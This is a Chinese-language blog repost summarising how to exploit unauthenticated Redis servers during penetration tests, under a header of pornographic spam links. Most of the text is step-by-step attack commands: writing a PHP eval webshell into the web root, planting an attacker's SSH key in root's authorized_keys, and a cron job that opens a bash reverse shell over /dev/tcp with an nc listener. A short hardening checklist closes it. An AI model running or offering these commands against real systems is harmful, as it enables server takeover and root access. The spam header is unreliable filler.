日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

渗透测试技巧之Redis漏洞利用总结

發布時間:2024/1/23 数据库 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试技巧之Redis漏洞利用总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.未授權訪問

2.獲取webshell

3.獲取root

4.通過redis提權

5.其他的一些利用

6.redis安全配置

測試環境? CentOS 6.5 x64

Redis介紹

? Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集合)、zset(sorted set - 有序集合)和hash(哈希類型).

這些數據類型都支持push/pop、add/remove及取交集并集和差集更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。

區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。

未授權訪問

Redis默認情況下,會綁定在0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源ip訪問等,這樣會將Redis服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。

攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的/root/.ssh文件夾的authoritrized_keys文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

默認安裝redis,其中啟動權限就為root。并且是任意ip可以未授權訪問。

獲取webshell

條件:知道web絕對路徑,redis運行的用戶需要對web目錄要有寫的權限

http://10.211.55.10/phpinfo.php

然后通過客戶端鏈接

redis-cli -h 10.211.55.10

config set dir /var/www/html/ set shell <?php eval($_REQUEST[\'syclover\'])?> config set dbfilename syclover.php save exit

存在的問題,如果redis里面的數據量特別大并且前面存在<?php之類的符號

先通過randomkey來查看鍵值之間的規律,然后可以將數據庫備份下來,找到包含<?php的鍵名,通過keys *str*找到真正的鍵名,然后去修改這個鍵名。因為數據量很大所以備份的shell也很大,然后在生成shell的時候,可以設置不超時,并且在生成完成之后就退出。

獲取root

victim server CentOS6.6+redis2.4 192.168.192.133 attack server CentOS6.6 192.168.192.132

先在attack server生成一個公鑰

ssh-keygen -t rsa -C "redis"

(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

然后執行

redis-cli -h 192.168.192.133 flushall cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

登錄redis redis-cli -h 192.168.192.133

CONFIG set dir /root/.shh/ config set dbfilename "authorized_keys" save exit

然后就可以使用ssh的私鑰登錄了

ssh -i redis.pub root@192.168.192.133

缺點:flushall太暴力直接清空數據庫,覆蓋authorized_keys,導致原有的認證失效。

通過redis提權

獲取了一個webshell,但是權限很低,發現存在redis服務但是只能本地訪問,然后通過上面的方法可以成功提權。

其他玩法

redis+crontab

redis-cli config set dir /var/spool/cron/ redis-cli config set dbfilename root echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1 redis-cli save nc -lvv 8443

redis安全配置

1.設置只對本機開機bind 127.0.0.1

2.設置密碼requirepass tomato

3.修改默認端口12345

4.低權限啟動

5.如果需要對外提供服務的話,設置iptables規則

?

exploit-db上關于Redis的漏洞

總結

以上是生活随笔為你收集整理的渗透测试技巧之Redis漏洞利用总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。